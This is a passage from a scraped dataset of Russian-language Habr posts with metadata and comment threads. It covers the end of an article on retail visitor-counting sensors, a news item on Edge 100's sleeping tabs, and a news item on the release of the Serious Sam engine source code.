компенсируется за счет гибкой системы настроек. <br/> Есть возможность настройки «буферной зоны», гуляющий по торговому залу человек не будет считаться дважды, если он ходит рядом со входом. Т.е. человек зашел, постоял в буферной зоне и вышел. В этом случае он не посчитается (на картинке ниже она очерчена желтым).<br/> Средняя стоимость 3D датчика – 70 000- 90 000 р. <br/> <img src="https://habrastorage.org/r/w780q1/files/4b8/5e3/4f3/4b85e34f369f4c458d33a8373048fcdd.jpg" data-src="https://habrastorage.org/files/4b8/5e3/4f3/4b85e34f369f4c458d33a8373048fcdd.jpg" data-blurred="true"/><br/> <br/> <b>Общее впечатление </b> — На мой взгляд 3D датчики являются наиболее универсальным и точным решением, которое активно внедряется во многих торговых сетях. Учитывая высокую точность подсчета (95-97%) данные с этих датчиков можно использовать при расчете бонусной части зарплаты продавцов.<br/> <br/> <b>Заключение</b>.<br/> Систему подсчета посетителей следует выбирать исходя из поставленных задач.<br/> При этом следует помнить — после установки систему надо обслуживать, а это тоже расходы. Иногда лучше поставить систему подороже, но в длительной перспективе обслуживание обойдется намного дешевле. <br/> И если поменяются задачи, то может понадобиться и смена системы. Поэтому лучше заранее подумать о будущем.<br/> <br/> Если перед вами стоит задача приблизительно оценить поток покупателей, без использования данных для расчета бонусов продавцов, то я бы рекомендовал установить недорогую систему горизонтального подсчета по ИК лучу без связи с ПК, без автономного питания. В этом варианте будут данные с высокой погрешностью, но за минимальную стоимость. При выходе из строя датчики легко заменить, они никак не завязаны на компьютерное оборудование. Система состоит из одного узла – самого датчика. Однако будет известно количество посетителей за целые сутки, без разбивки по часам и менеджер может забыть их отправить или вбить неправильную цифру.<br/> <br/> Если перед вами стоит задача оценить количество посетителей с минимальной погрешностью и использовать эти данные для расчета бонусов продавцам, то лучше установить 2D/3D датчики. Вы получите высокую точность, продавцы никак не смогут влиять на данные, данные напрямую уходят в офис, имеют намного меньше ограничений на монтаж (можно оборудовать все магазины, практически без учета таких индивидуальных особенностей, как тепловые завесы, высота потолка, ширина входной группы, удаленность от выхода на улицу). <br/> Система состоит из двух узлов – датчика и блока питания. В случае отсутствия связи с офисом датчик может работать автономно до 10 дней, сохраняя данные на внутреннюю память.<br/> Правда при этом в офисе придется установить сервер, который будет принимать и обрабатывать эти данные. Либо заказать услугу обработки данных у сторонней организации.<br/> <br/> Использовать промежуточные решения я бы не советовал. Под промежуточными решениями я имею ввиду ИК датчики с подключением к компьютеру через радиоканал.<br/> Вам потребуется вызывать сторонних специалистов и давать им доступ к ПК, устанавливать дополнительное ПО, обучать персонал им пользоваться. <br/> Так же такая система имеет больше узлов, которые могут выйти из строя (сами датчики, база-приемник данных от датчиков, компьютер, ПО на компьютере). При этом данные передаются от датчика к базе по радиоканалу, что снижает надежность системы. <br/> Если у вас 1-2 магазина, то это решение еще приемлемо. Для крупной сети оно не подходит.</div>
Виктор (victor_2004)
null
null
В современной розничной торговле для мотивации продавцов используется показатель конверсии. Скольких из пришедших людей удалось превратить в покупателей. Сколько людей совершило покупку посчитать не сложно. А вот сколько людей заходило в магазин? Ниже общий обзор существующих решений для подсчета покупателей с моими размышлениями о плюсах и минусах той или иной системы.<br/> <br/> <img src="https://habrastorage.org/files/024/6b0/34b/0246b034b6ae4c8bac3cd3ee8a232639.jpg"/><br/>
В современной розничной торговле для мотивации продавцов используется показатель конверсии. Скольких из пришедших людей удалось превратить в покупателей. Сколько людей совершило покупку посчитать не сложно. А вот сколько людей заходило в магазин? Ниже общий обзор существующих решений для подсчета покупателей с моими размышлениями о плюсах и минусах той или иной системы.
article
1,434,171,147
{ "commentsCount": 5, "favoritesCount": 26, "readingCount": 51872, "score": 13, "votesCount": 13, "votesCountPlus": 13, "votesCountMinus": 0 }
[]
[ "hr_management" ]
[ "management" ]
[ "система подсчета посетителей" ]
5
null
null
{ "id": [ 9550860, 9550862, 9550864, 9550866, 9550868 ], "parent_id": [ null, 9550860, null, 9550864, 9550862 ], "level": [ 0, 1, 0, 1, 2 ], "time_published": [ 1434178761, 1434225069, 1434273880, 1434275606, 1434352942 ], "score": [ 1, 1, 0, 0, 0 ], "votes": [ 1, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">не спец в этой теме, но по одной из своих предыдущих работ знаком со следующим нюансом. Помимо конверсии в продажи неплохо мониторить конверсии в посетителей. То есть:<br/>\r\nВ торговых центрах для магазина в договоре аренды вполне может быть прописан повышающий/понижающий коэффициент в зависимости от трафика, который нагоняет торговый центр. При этом ТЦ считает ВСЕХ своих посетителей, а не только тех, что зашли в конкретно рассматриваемый магазин. И для этого магазина очень полезно знать, какая часть посетителей ТЦ зашла в этот магазин. А еще полезнее знать эту же статистику и для других магазинов этого же ТЦ.<br/>\r\nЭто позволяет понять маршруты трафика по ТЦ и реально помогает по маркетингу и мерчендайзингу.<br/>\r\nПовторюсь, я не спец, просто плотно работал одно время с людьми которые реально неплохо в этом разбирались.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для этого торговый центр должен очень сильно озаботиться должным оснащением.<br/>\r\nНа сколько мне известно в Золотом вавилоне как раз стоит система подсчета на базе 3D датчиков. И они тебе дают как статистику по твоему магазину, так и статистику по аллее, так и статистику по всему ТЦ. Наши маркетологи были весьма рады получать эти данные.<br/>\r\nНо опять же сам ТЦ должен озаботиться этим вопросом.<br/>\r\n<br/>\r\nЕсли интересна общая статистика по регионам, то в личке могу рассказать кто может предоставлять обезличенные данные.<br/>\r\nТипа — у нас стало на 5% меньше покупателей в Казани. Но на этой недели у всех в Казани стало на 3-5% меньше покупателей, так что дело не в нас, а в чем-то другом.<br/>\r\n<br/>\r\nВ дальнейших статьях планирую так же рассказать о системе, которая позволяет считать проходящих мимо и приблизительно оценивать маршруты внутри помещения — на базе анализа сигналов от WiFi модулей мобильных телефонов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Для этого торговый центр должен очень сильно озаботиться должным оснащением.<br/>\r\nЭто да, но, в общем то те, кто реально работают над трафиком — это делают. ТЦ ведь можно условно разбить на два класса — те кто продает аренду помещений и те, кто продает трафик. Мое мнение — выживут вторые, первая модель уже устаревает, и чем крупнее город, тем это очевиднее.<br/>\r\n>Если интересна общая статистика по регионам, то в личке могу рассказать кто может предоставлять обезличенные данные.<br/>\r\nА давайте, буду благодарен. Сейчас немного в seo погрузился, возможно на стыке технологий что то интересное найдется.<br/>\r\n<br/>\r\n>В дальнейших статьях планирую так же…<br/>\r\nБуду ждать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Это да, но, в общем то те, кто реально работают над трафиком — это делают. ТЦ ведь можно условно разбить на два класса — те кто продает аренду помещений и те, кто продает трафик. Мое мнение — выживут вторые, первая модель уже устаревает, и чем крупнее город, тем это очевиднее.</blockquote><br/>\r\nСейчас есть еще новое направление — часть аренды зависит от выручки. И начинают навязывать автоматизированные системы сбора продаж.<br/>\r\n<br/>\r\n<blockquote>А давайте, буду благодарен. Сейчас немного в seo погрузился, возможно на стыке технологий что то интересное найдется.</blockquote><br/>\r\nВ личку отписался<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю тема оценки сигналов мобильных будет очень интересной! </div>" ], "message_markdown": [ "не спец в этой теме, но по одной из своих предыдущих работ знаком со следующим нюансом. Помимо конверсии в продажи неплохо мониторить конверсии в посетителей. То есть:\nВ торговых центрах для магазина в договоре аренды вполне может быть прописан повышающий/понижающий коэффициент в зависимости от трафика, который нагоняет торговый центр. При этом ТЦ считает ВСЕХ своих посетителей, а не только тех, что зашли в конкретно рассматриваемый магазин. И для этого магазина очень полезно знать, какая часть посетителей ТЦ зашла в этот магазин. А еще полезнее знать эту же статистику и для других магазинов этого же ТЦ.\nЭто позволяет понять маршруты трафика по ТЦ и реально помогает по маркетингу и мерчендайзингу.\nПовторюсь, я не спец, просто плотно работал одно время с людьми которые реально неплохо в этом разбирались.", "Для этого торговый центр должен очень сильно озаботиться должным оснащением.\nНа сколько мне известно в Золотом вавилоне как раз стоит система подсчета на базе 3D датчиков. И они тебе дают как статистику по твоему магазину, так и статистику по аллее, так и статистику по всему ТЦ. Наши маркетологи были весьма рады получать эти данные.\nНо опять же сам ТЦ должен озаботиться этим вопросом.\nЕсли интересна общая статистика по регионам, то в личке могу рассказать кто может предоставлять обезличенные данные.\nТипа — у нас стало на 5% меньше покупателей в Казани. Но на этой недели у всех в Казани стало на 3-5% меньше покупателей, так что дело не в нас, а в чем-то другом.\nВ дальнейших статьях планирую так же рассказать о системе, которая позволяет считать проходящих мимо и приблизительно оценивать маршруты внутри помещения — на базе анализа сигналов от WiFi модулей мобильных телефонов.", ">Для этого торговый центр должен очень сильно озаботиться должным оснащением.\nЭто да, но, в общем то те, кто реально работают над трафиком — это делают. ТЦ ведь можно условно разбить на два класса — те кто продает аренду помещений и те, кто продает трафик. Мое мнение — выживут вторые, первая модель уже устаревает, и чем крупнее город, тем это очевиднее.\n>Если интересна общая статистика по регионам, то в личке могу рассказать кто может предоставлять обезличенные данные.\nА давайте, буду благодарен. Сейчас немного в seo погрузился, возможно на стыке технологий что то интересное найдется.\n>В дальнейших статьях планирую так же...\nБуду ждать.", "> Это да, но, в общем то те, кто реально работают над трафиком — это делают. ТЦ ведь можно условно разбить на два класса — те кто продает аренду помещений и те, кто продает трафик. Мое мнение — выживут вторые, первая модель уже устаревает, и чем крупнее город, тем это очевиднее.\nСейчас есть еще новое направление — часть аренды зависит от выручки. И начинают навязывать автоматизированные системы сбора продаж.\n> А давайте, буду благодарен. Сейчас немного в seo погрузился, возможно на стыке технологий что то интересное найдется.\nВ личку отписался", "Думаю тема оценки сигналов мобильных будет очень интересной!" ], "author": [ "gonzazoid", "Виктор (victor_2004)", "gonzazoid", "Виктор (victor_2004)", "Геннадий Макушкин (Kapustos)" ], "children": [ [ 9550862 ], [ 9550868 ], [ 9550866 ], [], [] ] }
660,033
ru
https://habr.com/ru/post/660033/
Функция «спящих» вкладок в Microsoft Edge экономит ресурсы ПК
Разработчики из Microsoft оптимизировали «спящие» вкладки в браузере Edge, чтобы пользователи могли экономить больше ресурсов системы. xda-developers Новая функция появилась в стабильной версии Edge 100. Теперь пользователи могут перевести в спящий режим больше вкладок, а браузер отображает объем ресурсов, которые экономит функция. Разработчики изменили саму систему переключения вкладок в спящий режим. Раньше они не переводились в спящий режим, если фоновая и активная страницы использовали один и тот же экземпляр приложения. В новой версии браузера это ограничение отсутствует. Как утверждает Microsoft, такой подход позволяет переводить в спящий режим на 8% больше вкладок, а каждая «спящая» вкладка экономит до 99% ресурсов процессора и до 85% оперативной памяти. Чтобы проверить, сколько ресурсов экономят «спящие» вкладки, нужно перейти в раздел «Производительность» в меню на панели инструментов Edge. Также в Edge 100 улучшили работу с PDF-файлами и исправили уязвимости. Так, стал доступен облегченный вариант просмотра PDF-документов в браузере, который может открывать файлы с локального диска или из Microsoft Outlook.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Разработчики из Microsoft <a href="https://www.xda-developers.com/microsoft-edge-sleeping-tabs-save-even-more-resources/" rel="noopener noreferrer nofollow">оптимизировали</a> «спящие» вкладки в браузере Edge, чтобы пользователи могли экономить больше ресурсов системы.</p><figure class="full-width "><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/439/e4a/cbc/439e4acbc18f7a7add919fce6063cd9d.jpg" alt="xda-developers" title="xda-developers" width="600" height="709" data-src="https://habrastorage.org/getpro/habr/upload_files/439/e4a/cbc/439e4acbc18f7a7add919fce6063cd9d.jpg" data-blurred="true"/><figcaption>xda-developers</figcaption></figure><p>Новая функция появилась в стабильной версии Edge 100. Теперь пользователи могут перевести в спящий режим больше вкладок, а браузер отображает объем ресурсов, которые экономит функция.</p><p>Разработчики изменили саму систему переключения вкладок в спящий режим. Раньше они не переводились в спящий режим, если фоновая и активная страницы использовали один и тот же экземпляр приложения. В новой версии браузера это ограничение отсутствует.</p><p>Как утверждает Microsoft, такой подход позволяет переводить в спящий режим на 8% больше вкладок, а каждая «спящая» вкладка экономит до 99% ресурсов процессора и до 85% оперативной памяти. </p><p>Чтобы проверить, сколько ресурсов экономят «спящие» вкладки, нужно перейти в раздел «Производительность» в меню на панели инструментов Edge.</p><p>Также в Edge 100 <a href="https://habr.com/ru/news/t/659005/" rel="noopener noreferrer nofollow">улучшили</a> работу с PDF-файлами и исправили уязвимости. Так, стал доступен облегченный вариант просмотра PDF-документов в браузере, который может открывать файлы с локального диска или из Microsoft Outlook. </p><p></p></div>
maybe_elf
null
null
<p>Разработчики из Microsoft <a href="https://www.xda-developers.com/microsoft-edge-sleeping-tabs-save-even-more-resources/" rel="noopener noreferrer nofollow">оптимизировали</a> «спящие» вкладки в браузере Edge, чтобы пользователи могли экономить больше ресурсов системы.</p>
Разработчики из Microsoft оптимизировали «спящие» вкладки в браузере Edge, чтобы пользователи могли экономить больше ресурсов системы.
news
1,649,578,079
{ "commentsCount": 12, "favoritesCount": 1, "readingCount": 3949, "score": 2, "votesCount": 6, "votesCountPlus": 4, "votesCountMinus": 2 }
[]
[ "hi", "browsers", "edge" ]
[ "develop" ]
[ "microsoft", "microsoft edge", "браузеры", "вкладки", "вкладки браузера", "экономия ресурсов", "производительность" ]
1
null
null
{ "id": [ 24249423, 24249451, 24249609, 24249785, 24249805, 24249837, 24250091, 24250613, 24251117, 24251139, 24254061, 24270217 ], "parent_id": [ null, 24249423, null, 24249609, 24249609, 24249609, 24249451, 24249837, 24249451, 24249837, 24251139, null ], "level": [ 0, 1, 0, 1, 1, 1, 2, 2, 2, 2, 3, 0 ], "time_published": [ 1649588338, 1649589755, 1649596590, 1649601412, 1649601906, 1649603367, 1649613054, 1649635149, 1649657660, 1649657864, 1649708108, 1650116069 ], "score": [ 11, 1, 0, 0, 0, 0, 3, 0, 1, 0, 0, 0 ], "votes": [ 11, 1, 0, 0, 0, 0, 3, 0, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Функция «спящих» вкладок</p></blockquote><p>И другие, уже сто лет существующие, функции прочих других браузеров?</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Сейчас Edge — это просто Chrome, но с вертикальными вкладками и другими незначительными фишками, вроде этих самых \"спящих вкладок\". Ну и дизайн местами симпатичнее, но местами функционально хуже.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А когда появится данный режим в chrome? Или может быть плагин есть?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Не знаю, насколько одно соответствует другому, но для Chrome есть <a href=\"https://chrome.google.com/webstore/detail/the-great-discarder/jlipbpadkjcklpeiajndiijbeieicbdh\" rel=\"noopener noreferrer nofollow\">The Great Discarder</a>.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Интерфейс, правда, не тот, но похожее --- <code>chrome://discards/</code>. Конкретно данный режим вряд ли появится в хроме.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Great Suspender </p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Простите, а в чем Chrome функционально выигрывает?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>по личному опыту - Edge <em>гораздо</em> лучше работает с засуспенжеными вкладками, чем хром с GS.<br/>Для меня лично Edge незаметно стал основным браузером.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Сейчас Edge единственный хромобраузер с нормальным рендерингом шрифтов.</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Он был удален из магазина расширений. Вроде помечен был как потенциально опасный. Не помню в чем там история была.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Там малварь обнаружился в очередном апдейте, возможно аккаунт разработчика был взломан. У меня версия с гитхаба (она же и последняя), которая ещё за год до той новости была.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Хорошая попытка Microsoft, но нет.)</p></div>" ], "message_markdown": [ "> Функция «спящих» вкладок\nИ другие, уже сто лет существующие, функции прочих других браузеров?", "Сейчас Edge — это просто Chrome, но с вертикальными вкладками и другими незначительными фишками, вроде этих самых \"спящих вкладок\". Ну и дизайн местами симпатичнее, но местами функционально хуже.", "А когда появится данный режим в chrome? Или может быть плагин есть?", "Не знаю, насколько одно соответствует другому, но для Chrome есть The Great Discarder.", "Интерфейс, правда, не тот, но похожее --- `chrome://discards/`. Конкретно данный режим вряд ли появится в хроме.", "Great Suspender", "Простите, а в чем Chrome функционально выигрывает?", "по личному опыту - Edge гораздо лучше работает с засуспенжеными вкладками, чем хром с GS.\nДля меня лично Edge незаметно стал основным браузером.", "Сейчас Edge единственный хромобраузер с нормальным рендерингом шрифтов.", "Он был удален из магазина расширений. Вроде помечен был как потенциально опасный. Не помню в чем там история была.", "Там малварь обнаружился в очередном апдейте, возможно аккаунт разработчика был взломан. У меня версия с гитхаба (она же и последняя), которая ещё за год до той новости была.", "Хорошая попытка Microsoft, но нет.)" ], "author": [ "Александр Чекалин (achekalin)", "Максим (rubero)", "litos (litos)", "Алексей Шпаковский (alex_shpak)", "trokhymchuk", "Роман (Firsto)", "Arthur Golitsyn (agolitsyn)", "alexmay", "Anton Demidenko (introya)", "Леонид (lkoida)", "Роман (Firsto)", "Евгений (JordanCpp)" ], "children": [ [ 24249451 ], [ 24250091, 24251117 ], [ 24249785, 24249805, 24249837 ], [], [], [ 24250613, 24251139 ], [], [], [], [ 24254061 ], [], [] ] }
371,923
ru
https://habr.com/ru/post/371923/
Разработчики шутера Serious Sam выложили исходный код игры
В связи с юбилеем выхода шутера от первого лица Serious Sam, который состоится в марте 2016 года, разработчики игры из хорватской компании Croteam решили выпустить полный исходный код игры. Код специально подготовили к изучению, снабдив подробными комментариями. Версия движка, отныне доступная общественности, официально называется Serious Engine v1.10. К выпуску исходный код готовил один из программистов Croteam, Вячеслав Никитенко. Он рассказал об этом следующее: > С исторической точки зрения движок Serious Engine важен как для Croteam, так и для меня лично. До того, как начать работать с исходниками, я делал несколько модов для игры – и это был отличный инструмент для обучения. А сегодня он стал ещё лучше! > > Конечно, движок Serious Engine v1.10 не сможет обеспечить вам суперсовременной графики, но зато он хорошо откомментирован, его легко менять, а в интернете есть огромное количество пользовательских модификаций. При помощи этой версии вы сможете как создать игру, так и просто поэкспериментировать. > > Скачайте исходники и направляйтесь на форум поддержки SeriousZone, где есть как множество обучалок, так и отличное сообщество. Первый эпизод игры Serious Sam: The First Encounter вышел 23 марта 2001 года. По сюжету, главным героем игры был Сэм Стоун, более известный как Серьёзный Сэм. Его отправили в прошлое, чтобы найти и уничтожить злобного инопланетного тирана Ментала и тем самым спасти человечество от полного истребления в будущем, изменив ход истории. Серьёзный Сэм занял седьмое место в списке десяти самых неудержимых героев компьютерных игр сайта Machinima.com. Этот же сайт поставил Сэма на шестую строчку списка десяти лучших путешественников во времени. Также персонаж занял первое место в списке самых крутых героев видеоигр сайта Gamer-Info [http://gamer-info.com/article/gitop-25-igra-s-samym-krutym-geroem/]. А по мнению обозревателя Destructoid Джима Стерлинга, герой является «настоящим королём спинномозговых шутеров». На сайте Absolute Games редакция поставила игре оценку 85 из 100, читатели – 81 из 100. При выборе лучших игр всех времён и народов 2013 года хабрасообщество поместило игру на 54 место.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/files/01e/1f3/45e/01e1f345eb7b4084af4ff2ce9be4df2d.jpg" data-src="https://habrastorage.org/files/01e/1f3/45e/01e1f345eb7b4084af4ff2ce9be4df2d.jpg" data-blurred="true"/><br/> <br/> В связи с юбилеем выхода шутера от первого лица Serious Sam, который состоится в марте 2016 года, разработчики игры из хорватской компании Croteam решили выпустить <a href="http://www.croteam.com/serious-sam-source-code-released/">полный исходный код игры</a>. Код специально подготовили к изучению, снабдив подробными комментариями.<br/> <br/> Версия движка, отныне <a href="https://github.com/Croteam-official/Serious-Engine">доступная общественности</a>, официально называется Serious Engine v1.10. К выпуску исходный код готовил один из программистов Croteam, Вячеслав Никитенко. Он рассказал об этом следующее:<br/> <blockquote>С исторической точки зрения движок Serious Engine важен как для Croteam, так и для меня лично. До того, как начать работать с исходниками, я делал несколько модов для игры – и это был отличный инструмент для обучения. А сегодня он стал ещё лучше! <br/> <br/> Конечно, движок Serious Engine v1.10 не сможет обеспечить вам суперсовременной графики, но зато он хорошо откомментирован, его легко менять, а в интернете есть огромное количество пользовательских модификаций. При помощи этой версии вы сможете как создать игру, так и просто поэкспериментировать.<br/> <br/> Скачайте исходники и направляйтесь на форум поддержки <a href="http://www.seriouszone.com/">SeriousZone</a>, где есть как множество обучалок, так и отличное сообщество.</blockquote><br/> <a name="habracut"></a><br/> <img src="https://habrastorage.org/r/w780q1/files/fa5/c5b/cd5/fa5c5bcd54c7434e81f0621cee64174d.jpg" data-src="https://habrastorage.org/files/fa5/c5b/cd5/fa5c5bcd54c7434e81f0621cee64174d.jpg" data-blurred="true"/><br/> <br/> Первый эпизод игры Serious Sam: The First Encounter вышел 23 марта 2001 года. По сюжету, главным героем игры был Сэм Стоун, более известный как Серьёзный Сэм. Его отправили в прошлое, чтобы найти и уничтожить злобного инопланетного тирана Ментала и тем самым спасти человечество от полного истребления в будущем, изменив ход истории.<br/> <br/> Серьёзный Сэм занял седьмое место в списке десяти самых неудержимых героев компьютерных игр <a href="https://www.youtube.com/watch?v=h89LiZl5hjE">сайта Machinima.com</a>. Этот же сайт поставил Сэма на шестую строчку списка десяти лучших <a href="https://www.youtube.com/watch?v=66O9luhaFgc">путешественников во времени</a>. Также персонаж занял первое место в списке самых крутых героев видеоигр сайта Gamer-Info [http://gamer-info.com/article/gitop-25-igra-s-samym-krutym-geroem/]. А по мнению обозревателя Destructoid Джима Стерлинга, герой является «<a href="http://www.destructoid.com/review-serious-sam-hd-the-first-encounter-156347.phtml">настоящим королём спинномозговых шутеров</a>».<br/> <br/> <img src="https://habrastorage.org/r/w780q1/files/753/f3e/548/753f3e5488a14081a6e735357a96e5ec.jpg" data-src="https://habrastorage.org/files/753/f3e/548/753f3e5488a14081a6e735357a96e5ec.jpg" data-blurred="true"/><br/> <br/> На сайте Absolute Games редакция <a href="http://www.ag.ru/games/serious-sam-the-first-encounter">поставила игре оценку</a> 85 из 100, читатели – 81 из 100. При выборе лучших игр всех времён и народов 2013 года хабрасообщество поместило игру <a href="https://geektimes.ru/post/172485/">на 54 место</a>.</div>
Вячеслав Голованов (SLY_G)
null
null
<img src="https://habrastorage.org/files/01e/1f3/45e/01e1f345eb7b4084af4ff2ce9be4df2d.jpg"/><br/> <br/> В связи с юбилеем выхода шутера от первого лица Serious Sam, который состоится в марте 2016 года, разработчики игры из хорватской компании Croteam решили выпустить <a href="http://www.croteam.com/serious-sam-source-code-released/">полный исходный код игры</a>. Код специально подготовили к изучению, снабдив подробными комментариями.<br/> <br/> Версия движка, отныне <a href="https://github.com/Croteam-official/Serious-Engine">доступная общественности</a>, официально называется Serious Engine v1.10. К выпуску исходный код готовил один из программистов Croteam, Вячеслав Никитенко. Он рассказал об этом следующее:<br/> <blockquote>С исторической точки зрения движок Serious Engine важен как для Croteam, так и для меня лично. До того, как начать работать с исходниками, я делал несколько модов для игры – и это был отличный инструмент для обучения. А сегодня он стал ещё лучше! <br/> <br/> Конечно, движок Serious Engine v1.10 не сможет обеспечить вам суперсовременной графики, но зато он хорошо откомментирован, его легко менять, а в интернете есть огромное количество пользовательских модификаций. При помощи этой версии вы сможете как создать игру, так и просто поэкспериментировать.<br/> <br/> Скачайте исходники и направляйтесь на форум поддержки <a href="http://www.seriouszone.com/">SeriousZone</a>, где есть как множество обучалок, так и отличное сообщество.</blockquote><br/>
В связи с юбилеем выхода шутера от первого лица Serious Sam, который состоится в марте 2016 года, разработчики игры из хорватской компании Croteam решили выпустить полный исходный код игры. Код специально подготовили к изучению, снабдив подробными комментариями. Версия движка, отныне доступная общественности, официально называется Serious Engine v1.10. К выпуску исходный код готовил один из программистов Croteam, Вячеслав Никитенко. Он рассказал об этом следующее: > С исторической точки зрения движок Serious Engine важен как для Croteam, так и для меня лично. До того, как начать работать с исходниками, я делал несколько модов для игры – и это был отличный инструмент для обучения. А сегодня он стал ещё лучше! > > Конечно, движок Serious Engine v1.10 не сможет обеспечить вам суперсовременной графики, но зато он хорошо откомментирован, его легко менять, а в интернете есть огромное количество пользовательских модификаций. При помощи этой версии вы сможете как создать игру, так и просто поэкспериментировать. > > Скачайте исходники и направляйтесь на форум поддержки SeriousZone, где есть как множество обучалок, так и отличное сообщество.
article
1,457,730,435
{ "commentsCount": 41, "favoritesCount": 63, "readingCount": 23358, "score": 29, "votesCount": 37, "votesCountPlus": 33, "votesCountMinus": 4 }
[]
[ "games" ]
[ "popsci" ]
[ "serious sam", "исходный код" ]
2
null
null
{ "id": [ 16333357, 16333359, 16333361, 16333363, 16333365, 16333367, 16333369, 16333371, 16333373, 16333375, 16333377, 16333379, 16333381, 16333383, 16333385, 16333387, 16333389, 16333391, 16333393, 16333395, 16333397, 16333399, 16333401, 16333403, 16333405, 16333407, 16333409, 16333411, 16333413, 16333415, 16333417, 16333419, 16333421, 16333423, 16333425, 16333427, 16333429, 16333431, 16333433, 16333435, 16333437 ], "parent_id": [ null, 16333357, 16333357, 16333357, 16333357, null, null, null, 16333365, 16333367, null, 16333375, 16333373, 16333379, 16333383, 16333375, 16333387, 16333383, 16333381, 16333391, 16333395, null, 16333357, 16333371, 16333385, 16333405, 16333397, 16333409, 16333369, null, 16333413, 16333375, 16333371, 16333365, 16333421, 16333417, 16333427, 16333429, 16333431, 16333375, null ], "level": [ 0, 1, 1, 1, 1, 0, 0, 0, 2, 1, 0, 2, 3, 3, 4, 2, 3, 4, 4, 5, 6, 0, 1, 1, 5, 6, 7, 8, 1, 0, 2, 2, 1, 2, 2, 3, 4, 5, 6, 2, 0 ], "time_published": [ 1457743729, 1457752943, 1457755417, 1457760345, 1457760456, 1457761719, 1457767484, 1457771274, 1457774940, 1457782251, 1457783872, 1457786435, 1457788009, 1457788857, 1457794960, 1457795413, 1457798816, 1457799963, 1457805178, 1457805225, 1457809203, 1457809993, 1457813949, 1457819296, 1457829789, 1457829983, 1457830305, 1457849832, 1457850172, 1457852619, 1457853699, 1457876237, 1457876264, 1457880104, 1457882082, 1457895780, 1457896246, 1457896467, 1457945850, 1457946792, 1458568672 ], "score": [ 0, 19, 5, 8, 10, 3, 2, 1, 3, 0, 0, 0, 0, 0, 1, 0, 0, 0, 4, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1 ], "votes": [ 0, 19, 5, 8, 10, 3, 2, 1, 3, 0, 0, 0, 0, 0, 1, 0, 0, 0, 4, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">дак у нас тут и не веб разработка</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>В сфере веб-разработки это маркеры кода плохого качества. И хороший код должен быть таким, чтобы его не было нужды менять.</blockquote><br/>\r\nПользователям комментарии не нужны, как и возможность менять код. А вот разработчикам — нужны.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>> Объемные комментарии — места, где поленились отрефакторить или сделать документацию.</i><br/>\r\n<br/>\r\nЧушь. Хороший код должен быть документацией сам к себе. Иногда для этого нужны ещё и комментарии. В некоторых ЯП (Haskell), кстати, есть режим \"literate\", где надо ескейпить код, а не комментарии. Наверное это потому что их создатели пишут плохой код.<br/>\r\n<br/>\r\n<i>> И хороший код должен быть таким, чтобы его не было нужды менять. </i><br/>\r\n<br/>\r\nВы живете в каком-то мире эльфов, или просто тролль. В реальном мире нужда что-то менять по большей части возникает не из свойств кода, а из внешних обстоятельств. Которые постоянно меняются — меняется и код.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Желаю вам работать только с кодом ОЧЕНЬ ХОРОШЕГО КАЧЕСТВА без единого комментария.<br/>\r\n<br/>\r\nP.S. в «хороших» проектах документация генерируется в автоматическом режиме из комментариев.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Круто. Одна из любимых игр юности, причем шла на максималках и с хорошей производительностью. Особенно доставляла атмосфера уровней с пирамидами инков, такая-то благодать на закате.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да… Моя первая игра, в которой когда подходишь к стене, то она не рассыпается на пиксели. Меня это просто невероятно поразило в своё время. А какие там пейзажи были… Ночной Египет был прекрасен.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>В связи с юбилеем выхода шутера от первого лица Serious Sam, который состоится в марте 2016 года, разработчики игры из хорватской компании Croteam решили выпустить полный исходный код игры.</blockquote><br/>\r\nВсе бы так. В большинстве случаев ведь ни поддержки, ни обновлений для новых систем (после нескольких лет). Так есть возможность, что кто-то займется этим вопросом.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Он вероятнее всего имел ввиду построчные комментарии \"как для идиотов\", а не docblock'и<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Отлично. Croteam наконец смогли убрать из кода все костыли, так что его не стыдно стало показать. :)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дык есть же. <a 